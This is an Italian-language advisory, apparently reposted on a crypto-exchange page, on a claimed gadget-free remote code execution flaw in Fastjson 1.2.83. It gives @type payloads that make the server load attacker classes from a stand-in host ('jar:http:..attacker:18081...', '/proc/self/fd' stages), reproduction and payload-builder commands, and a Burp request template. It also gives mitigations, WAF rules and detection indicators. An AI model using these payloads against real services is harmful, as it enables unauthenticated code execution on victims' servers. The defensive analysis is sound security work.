Analisi approfondita e guida alla difesa della vulnerabilità "Gadget-Free" di Fastjson 1.2.83 (0day)

By: rootdata|2026/07/23 08:41:36

Fastjson 1.2.83 può ancora attivare l'esecuzione remota di codice senza gadget tradizionali con AutoType=false impostato per impostazione predefinita, ed è stato riprodotto in ambienti isolati JDK 8/17/21/25 + Spring Boot Loader.


Riassunto



Nel sistema di difesa contro le vulnerabilità di deserializzazione Java tradizionale, esistono comuni zone cieche nel settore: "AutoType disattivato per impostazione predefinita è sicuro", "fissare il secondo parametro di parseObject (tipo obiettivo di alto livello) è sicuro", "svuotare le dipendenze gadget di deserializzazione della classpath locale è sicuro". Tuttavia, l'ultima evoluzione della tecnologia di attacco e difesa ha completamente infranto queste illusioni.


Oggi, il GCSA Global Cyber Security Alliance pubblica in esclusiva questo rapporto di analisi tecnica. Il rapporto esamina in profondità come Fastjson 1.2.83, anche con AutoType=false per impostazione predefinita, possa ancora attivare l'esecuzione remota di codice (RCE) senza dipendenze da gadget tradizionali. Attualmente, questa tecnica di sfruttamento è stata riprodotta con successo in ambienti isolati JDK 8 / 17 / 21 / 25 e Spring Boot Loader. Questa vulnerabilità non è un tradizionale "bypass della blacklist per cercare gadget locali", ma trasforma direttamente la logica di rilevamento dei metadati di classe di Fastjson in un canale per ottenere e autorizzare classi dannose remote. Di seguito il contenuto principale.


  • Ente di pubblicazione: GCSA Global Cyber Security Alliance
  • Tipo di rapporto: Analisi tecnica esclusiva / Rapporto di analisi approfondita delle vulnerabilità
  • Data del rapporto: 21-07-2026
  • Stato del rapporto: Audit del codice sorgente e riproduzione in ambiente isolato completati
  • Numero di vulnerabilità: Numero di ricerca interno FJ-GETRESOURCE-RCE (non corrisponde a CVE pubblicati)

Fastjson 1.2.83 può ancora attivare l'esecuzione remota di codice senza gadget tradizionali con AutoType=false impostato per impostazione predefinita, ed è stato riprodotto in ambienti isolati JDK 8/17/21/25 + Spring Boot Loader. Si consiglia di abilitare immediatamente SafeMode e migrare a Fastjson 2.x.


1. Sintesi dell'esecuzione



Il metodo ParserConfig.checkAutoType di Fastjson 1.2.83 convertirà il valore @type controllabile dall'utente in un nome di risorsa di classe e lo passerà a getResourceAsStream del ClassLoader corrente:

String resource = typeName.replace('.', '/') + ".class";

is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);

In un ambiente ClassLoader fat-jar in grado di risolvere nomi di risorse URL assoluti, un attaccante può costruire URL http:, jar:http: e jar:file: sostituendo i punti, scaricando classi dannose con @JSONType. Fastjson, una volta rilevato questo annotazione, chiamerà loadClass e restituirà direttamente quella classe prima dei controlli di sicurezza sui tipi di base pericolosi e di compatibilità del tipo obiettivo. La classe viene istanziata e inizializzata, eseguendo codice arbitrario.


Questo sfruttamento non dipende da gadget di deserializzazione tradizionali già presenti nella classpath di destinazione e può ancora attivarsi con AutoType=false impostato per impostazione predefinita. Fissare il tipo obiettivo di JSON.parseObject non può fermare l'esecuzione; abilitare SafeMode può interrompere il percorso di sfruttamento normale prima dell'accesso alle risorse.


Questo rapporto ha completato la seguente riproduzione utilizzando lo stesso payload JSON in un contenitore Linux isolato:



2. Valutazione della vulnerabilità




Non si consiglia di fornire un CVSS unificato di 9.8 solo sulla base della versione del componente: il normale AppClassLoader è un controllo negativo, la catena completa del moderno JDK dipende anche da loader in grado di risolvere due tipi di URL JAR assoluti e /proc/self/fd. Nelle applicazioni che soddisfano l'ambiente descritto in questo rapporto, l'effetto della vulnerabilità è RCE di rete non autenticata.


3. Ambito di impatto e condizioni preliminari



3.1 Ambito confermato


  • Conferma runtime: Fastjson 1.2.83
  • Conferma JDK: 8, 17, 21, 25
  • Conferma sistema operativo: Linux; macOS ha completato la riproduzione di JDK 17/21/25 utilizzando /dev/fd
  • Conferma loader: Spring Boot 2.7.18 classic loader + JDK 8; Spring Boot 3.2.0 loader + JDK 17/21/25
  • Conferma API: JSON.parse e JSON.parseObject con tipo di alto livello fisso

3.2 Note sulla gamma di versioni


Le versioni 1.2.68--1.2.83 nella descrizione esterna sono più adatte come gamma di test nota, piuttosto che come versione di introduzione della vulnerabilità. La verifica del codice sorgente indica che il codice decisivo per il rilevamento delle risorse di classe esiste già nelle versioni 1.2.67 e 1.2.68. Questo rapporto ha completato la verifica completa dell'esecuzione incrociata per 1.2.83.


3.3 Condizioni necessarie per lo sfruttamento


  • L'attaccante può controllare il JSON in ingresso a Fastjson e il @type nell'input verrà analizzato
  • SafeMode non è abilitato
  • Il ClassLoader che carica Fastjson può risolvere il nome di risorsa assoluto costruito in URL
  • Il processo vittima può connettersi al servizio HTTP dell'attaccante
  • La catena Linux moderna richiede che /proc/self/fd sia leggibile e che il loader possa risolvere jar:file:/proc/self/fd/N!...
  • Il JDK deve essere in grado di creare una cache temporanea remota JAR normale; questo di solito significa che la directory temporanea della JVM deve essere scrivibile

L'attaccante non ha bisogno di:


  • Scrivere file nella classpath di destinazione
  • Avere gadget come TemplatesImpl, JNDI, C3P0, Commons Collections già installati nella classpath di destinazione
  • Abilitare Fastjson AutoType
  • Controllare il secondo parametro di JSON.parseObject

4. Analisi delle cause



4.1 Nome di tipo utente trattato come URL di risorsa


Posizione del codice sorgente:

src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1479-1498


Codice chiave:

String resource = typeName.replace('.', '/') + ".class";

if (defaultClassLoader != null) {

is = defaultClassLoader.getResourceAsStream(resource);

} else {

is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);

}

Questa logica presume che la risorsa sia solo un percorso normale della classpath, ma non limita il suo protocollo, la semantica del percorso assoluto o la provenienza. Per un particolare loader fat-jar, il seguente input diventa un URL assoluto dopo la sostituzione:

Nome di tipo di input: http:..localhost:18081.a


Nome della risorsa: http://localhost:18081/a.class quindi getResourceAsStream interroga oltre i metadati locali per caricare risorse di rete controllabili dall'attaccante.


4.2 Classe remota con @JSONType trattata come base di autorizzazione


Fastjson utilizza il proprio ASM ClassReader per analizzare il contenuto delle risorse:

ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();

L'attaccante deve solo far sì che la classe remota abbia l'annotazione @JSONType di Fastjson per impostare jsonType su true. Qui viene controllato il byte fornito dall'attaccante, non una classe già caricata da una classpath fidata.


4.3 jsonType attiva il caricamento effettivo della classe


Posizione del codice sorgente:


ParserConfig.java:1500-1503

TypeUtils.java:1759-1792

if (autoTypeSupport || jsonType || expectClassFlag) {

boolean cacheClass = autoTypeSupport || jsonType;

clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);

}


TypeUtils.loadClass prova in sequenza loader espliciti, loader di contesto del thread e Class.forName. In un ambiente positivo, il loader di contesto del thread risolverà nuovamente lo stesso nome di risorsa assoluta, scaricherà la classe ed eseguirà defineClass.


4.4 @JSONType ritorno anticipato per bypassare i controlli di sicurezza successivi


Posizione del codice sorgente:


ParserConfig.java:1505-1528


if (clazz != null) {

if (jsonType) {

return clazz; } // Questi controlli vengono eseguiti dopo che jsonType è restituito.

if (ClassLoader.class.isAssignableFrom(clazz)

|| DataSource.class.isAssignableFrom(clazz)

|| RowSet.class.isAssignableFrom(clazz)) {

throw new JSONException(...); } if (expectClass != null) {

// il controllo di assegnabilità viene eseguito anche successivamente.

}

}


Una classe remota che porta @JSONType:

  • Il controllo della classe base pericolosa non verrà eseguito
  • expectClass.isAssignableFrom(clazz) non verrà eseguito
  • I tipi di binding dei dati fissi non possono impedire l'esecuzione prima dell'inizializzazione della classe

4.5 Suffissi Exception/Error creano un canale di ritorno morbido in caso di fallimento


Posizione del codice sorgente:


ParserConfig.java:1537-1542


if (!autoTypeSupport) {

if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {

return null; }

throw new JSONException("autoType non è supportato. " + typeName); }


La prima fase del moderno JDK fallirà a causa di nomi di classi interne non validi. Facendo terminare il nome del tipo con Exception, Fastjson non interromperà l'intero JSON, ma restituirà null, consentendo al parser di continuare a elaborare gli elementi dell'enumerazione FD nell'array. Questo ramo è fondamentale per l'esecuzione cross-fase di un singolo payload.


4.6 Posizione di SafeMode


Il controllo di SafeMode si trova prima dell'accesso alle risorse:

ParserConfig.java:1325-1330


Quindi, SafeMode nel percorso predefinito può impedire richieste di rete. Tuttavia, AutoTypeCheckHandler si trova prima di SafeMode (ParserConfig.java:1316-1323); se l'applicazione registra attivamente un handler che restituisce direttamente un tipo, è necessario un audit separato, non si può considerare SafeMode come un confine assoluto per sovrascrivere handler personalizzati.


  1. Utilizzo della catena in dettaglio


5.1 JDK 8: caricamento diretto di classi remote


Forma più breve:

{"@type":"http:..localhost:18081.a"}


Catena di conversione:

nome di tipo binario: http:..localhost:18081.a

URL della risorsa: http://localhost:18081/a.class

nome interno della classe: http://localhost:18081/a


JDK 8 accetta i nomi di classi interne non convenzionali sopra menzionati. Spring Boot 2.7 di LaunchedURLClassLoader scarica la classe e completa la definizione, l'istanza e l'inizializzazione, eseguendo comandi dannosi .

JDK 17+ completerà anche le richieste di rete, ma rifiuterà segmenti di percorso vuoti nei nomi interni,

ClassFormatError: Illegal class name "http://localhost:18081/a"


Quindi, la forma breve http:.. completa RCE solo in JDK 8.


5.2 Prima fase del moderno JDK: scaricamento di JAR remoti


Primo elemento dell'array di un singolo payload:

{"@type":"jar:http:..attacker:18081.x!.foo.Exception"}


Risultato della conversione:

URL della risorsa:

jar:http://attacker:18081/x!/foo/Exception.class


Il metodo sun.net.www.protocol.jar.URLJarFile.retrieve del JDK creerà file temporanei jar_cache*, copiando il JAR remoto in quel file.


JDK 17+ rifiuterà successivamente i nomi interni jar:http://... della prima fase, ma Fastjson continuerà a elaborare l'array a causa del suffisso Exception.


5.3 Seconda fase del moderno JDK: riapertura della cache FD


Elementi candidati successivi:

{"@type":"jar:file:.proc.self.fd.7!.fd7.Exception"}


Catena di conversione:

nome di tipo binario:

jar:file:.proc.self.fd.7!.fd7.Exception URL della risorsa:

jar:file:/proc/self/fd/7!/fd7/Exception.class nome interno della classe:

jar:file:/proc/self/fd/7!/fd7/Exception


A differenza di http://, ogni componente separato da / in questo nome interno non è vuoto, quindi la JVM moderna lo accetta. L'attacco JAR prepara un ingresso per ogni FD candidato:

fd3/Exception.class

fd4/Exception.class

...

fd64/Exception.class


Il nome interno del pool costante di ogni classe corrisponde esattamente al tipo di richiesta del corrispondente FD e porta @JSONType. Una volta colpito il gestore della cache reale, Fastjson carica e istanzia quella classe, eseguendo comandi .


Il primo colpo nei log di caricamento delle classi del JDK 17 è:

jar:file:.proc.self.fd.7!.fd7.Exception


5.4 Perché un payload è compatibile sia con JDK 8 che con il moderno JDK


JDK 8 accetta direttamente la prima fase jar:http://... della classe ed esegue


Dopo l'esecuzione del comando della classe della prima fase, viene intenzionalmente sollevata una RuntimeException("stage-one-stop"), impedendo a JDK 8 di continuare a tentare FD socket/pipe non correlati.


JDK 17+ fallisce a causa di nomi illegali della prima fase prima dell'inizializzazione della classe, quindi entra nella fase di enumerazione FD tramite un ritorno morbido di Exception.


  1. Ambiente di riproduzione e prove


6.1 Hash dei componenti testati


fastjson-1.2.83.jar

SHA-256 641a4d65ab32fbfdccd9c718e3f83ebc4caabdb5e4fe5b3d51527c5fe692631d spring-boot-loader-2.7.18.jar

SHA-256 855d80b2d8afc9140036ab20dba5d9333ed427bb1562057265335b244b98ed16 spring-boot-loader-3.2.0.jar

SHA-256 84d7352ce2f264262afb0253b9b882b0abf56f7c371c7523a0b3f6401d9c831b


6.2 Riproduzione con un clic


cd

PULL=1 ./target/getresource-repro/reproduce_fd_chain.sh


Output atteso:

JDK 8 : RCE-OK

JDK 17: RCE-OK

JDK 21: RCE-OK

JDK 25: RCE-OK


Lo script farà:


  • Compilare il JAR fat della vittima;
  • Generare un JAR di attacco con classi specifiche per FD;
  • Creare un array JSON payload;
  • Avviare il servizio HTTP dell'attaccante nella rete Docker isolata;
  • Avviare i contenitori della vittima con JDK 8/17/21/25;
  • Controllare ogni contenitore per /tmp/fastjson-getresource-rce.

### 6.3 Generazione manuale di JAR di attacco e payload
cd ./target/getresource-repro/build.sh ./target/getresource-repro/build_fd_chain.py \

--host attacker \

--port 18081 \

--fd-root /proc/self/fd \

--min-fd 3 \

--max-fd 64 \

--out-jar target/getresource-repro/www-linux/x \

--out-json target/getresource-repro/fd-payload-linux.json


Oggetti generati:

Attacker JAR: target/getresource-repro/www-linux/x

JSON payload: target/getresource-repro/fd-payload-linux.json


--host si consiglia di utilizzare un'etichetta DNS senza punti o un IPv4 decimale. La ragione non è per bypassare localhost, ma perché Fastjson sostituisce tutti i . nei nomi dei tipi con /. Ad esempio, l'IPv4 decimale 42130706433 è equivalente a 127.0.0.1, ma non verrà sostituito dai punti.
### 6.4 Consegna tramite Burp Suite
Burp si occupa solo di inviare JSON all'interfaccia vulnerabile che ha punti di analisi Fastjson; il JAR di attacco deve essere fornito dal servizio HTTP dell'attaccante.
Template di richiesta:
POST /parse HTTP/1.1

Host: victim.example

Content-Type: application/json

Connection: close

Content-Length: ... [Inserire qui il contenuto completo di fd-payload-linux.json.]


Se l'applicazione utilizza un tipo di livello superiore fisso, è possibile incapsulare l'array in base alla struttura dei campi, ad esempio:

{"value":[/* Tutti gli elementi dell'array in fd-payload-linux.json */]}


Questo esperimento utilizza JSON.parseObject(json, BoundEnvelope.class) per analizzare l'incapsulamento sopra, il risultato è ancora RCE-OK e restituisce normalmente BoundEnvelope.
### 6.5 Test dei confini critici
![](https://public.chaincatcher.info/upload/news/202607/6cf03f2d29db43f0b929229440be9400.png)
7. Raccomandazioni per la correzione e la mitigazione ----------
### 7.1 Preferito: migrare da Fastjson 1.x
Migrare prioritariamente a Fastjson 2.x, che è in fase di manutenzione, e riconvalidare tutti i tipi polimorfici, AutoType e le configurazioni della modalità compatibile. Non sostituire solo il JAR senza eseguire test di regressione.
### 7.2 Abilitare immediatamente SafeMode
Configurazione del codice:

ParserConfig.getGlobalInstance().setSafeMode(true);


Parametri JVM:

-Dfastjson.parser.safeMode=true


Nota: se l'applicazione ha registrato AutoTypeCheckHandler, è necessario eseguire un audit o rimuoverlo, poiché il gestore viene eseguito prima del controllo in SafeMode.
### 7.3 Limitare i punti di ingresso della deserializzazione
* Non passare richieste non attendibili direttamente a JSON.parse/JSON.parseObject * Rifiutare qualsiasi forma di metadati di tipo speciale all'ingresso del gateway o dell'applicazione * Solo i tipi Java di livello superiore fissi non sono una difesa sufficiente, poiché gli oggetti annidati possono ancora gestire @type, e il jsonType di questa vulnerabilità viene restituito prima di bypassare il controllo di compatibilità
### 7.4 Regole temporanee WAF/gateway
Intercettare temporaneamente le richieste in cui la chiave JSON decodificata è uguale a @type, sovrascrivendo i parametri URL, il corpo della richiesta e gli oggetti annidati. Non cercare solo il chiaro "@type", il lessico di Fastjson decodificherà prima i nomi dei campi, ad esempio:

{"\u0040type":"..."}

{"\x40type":"..."}


Le regole WAF possono solo fungere da mitigazione, non possono sostituire l'aggiornamento dei componenti e SafeMode.
### 7.5 Uscita di rete e indurimento runtime
1. Vietare alla JVM aziendale di avviare connessioni HTTP/HTTPS verso indirizzi esterni non necessari. 2. Applicare politiche di rete minime ai contenitori dell'applicazione. 3. Limitare l'esposizione di /proc/self/fd o utilizzare un sandbox di contenitore più rigoroso quando la compatibilità lo consente. 4. Auditare il ClassLoader per la gestione dei nomi delle risorse URL assoluti, rifiutando forme di protocollo come http:, https:, jar:, file:. 5. Monitorare le attività anomale di jar_cache* nella directory temporanea della JVM.
8. Raccomandazioni di rilevamento e IOC ------------
### 8.1 Caratteristiche del lato richiesta
Prestare particolare attenzione ai valori @type decodificati che contengono:

http:..

jar:http:..

jar:file:.proc.self.fd.

jar:file:.dev.fd.

!.fd

Eccezione


L'apparizione isolata di Eccezione non è sufficiente per l'allerta, deve essere analizzata in combinazione con la forma del protocollo, @type e le combinazioni di candidati FD consecutivi nell'array.
### 8.2 Caratteristiche del lato rete
* JVM richiede JAR senza estensione o .class a host anomali * Durante la stessa richiesta di analisi, si verificano 1--3 richieste GET/HEAD ripetute * Il percorso della richiesta potrebbe contenere /x, /a.class o percorsi equivalenti personalizzati dall'attaccante
### 8.3 Caratteristiche del lato host
* La directory temporanea della JVM crea jar_cache* * Il processo Java riapre il proprio file tramite /proc/self/fd/N * I log di caricamento delle classi mostrano simili jar:file:.proc.self.fd.7!.fd7.Exception
jar:file:.proc.self.fd.7!.fd7.Exception
9. Conclusione -----
Questa vulnerabilità non è una tradizionale "bypassare la blacklist per cercare gadget locali", ma trasforma la logica di rilevamento dei metadati delle classi di Fastjson in un canale di acquisizione e autorizzazione delle classi remote. @JSONType restituito anticipatamente consente alla classe fornita dall'attaccante di essere accettata prima dei controlli di base e di tipo pericolosi; il canale soft di errore e la cache temporanea jar:http: di JDK estendono il caricamento diretto di JDK 8 a JDK 17/21/25.
Pertanto, i seguenti giudizi comuni non sono validi:
  • "AutoType è disabilitato per impostazione predefinita, quindi è sicuro" --- non valido
  • "Fissare il secondo parametro di parseObject, quindi è sicuro" --- non valido
  • "Il classpath non ha gadget noti, quindi è sicuro" --- non valido
  • "JKD 17+ rifiuterà nomi interni http://, quindi è solo SSRF" --- non valido

In implementazioni che soddisfano le condizioni di loader, rete e descrittori di file verificati, questo problema può evolversi da una singola richiesta JSON non autenticata a una reale esecuzione remota di codice. È necessario migrare prioritariamente a Fastjson 2.x, abilitare immediatamente SafeMode e restringere i confini di uscita e di analisi delle risorse del ClassLoader.
10. Allegati e percorsi delle prove -----------
Registro di ricerca completo: target/FASTJSON_1_2_83_RCE_ANALYSIS.md

Istruzioni di riproduzione: target/getresource-repro/README.md

Catena breve JDK 8: target/getresource-repro/reproduce.sh

Catena completa Linux JDK 8/17/21/25: target/getresource-repro/reproduce_fd_chain.sh

Generatore di JAR/payload di attacco: target/getresource-repro/build_fd_chain.py

Payload Linux generato: target/getresource-repro/fd-payload-linux.json

JDK 17 class-load evidence: target/getresource-repro/linux-jdk17-classload.log

Prezzo di --

--

Disclaimer: il presente contenuto è fornito esclusivamente a scopo informativo e di branding generale e non costituisce consulenza finanziaria, di investimento, legale o fiscale. Qualsiasi evento, ricompensa, evento online o informazione correlata menzionata nel presente documento non deve essere considerata una raccomandazione, una sollecitazione o un invito ad acquistare, vendere, fare trading o altrimenti negoziare asset di criptovalute o a utilizzare i relativi servizi. Le criptovalute sono altamente volatili e possono comportare perdite. I servizi e gli eventi online di WEEX potrebbero non essere disponibili in tutte le regioni e sono soggetti alle leggi, ai regolamenti e ai requisiti di idoneità applicabili. Sei responsabile di garantire che il tuo utilizzo dei servizi WEEX sia conforme alle leggi locali e di valutare attentamente i rischi prima di partecipare a qualsiasi attività correlata alle criptovalute.

Potrebbe interessarti anche

iconiconiconiconiconiconicon
Assistenza clienti:@weikecs
Cooperazione aziendale:@weikecs
Trading quantitativo e MM:[email protected]
Programma VIP:[email protected]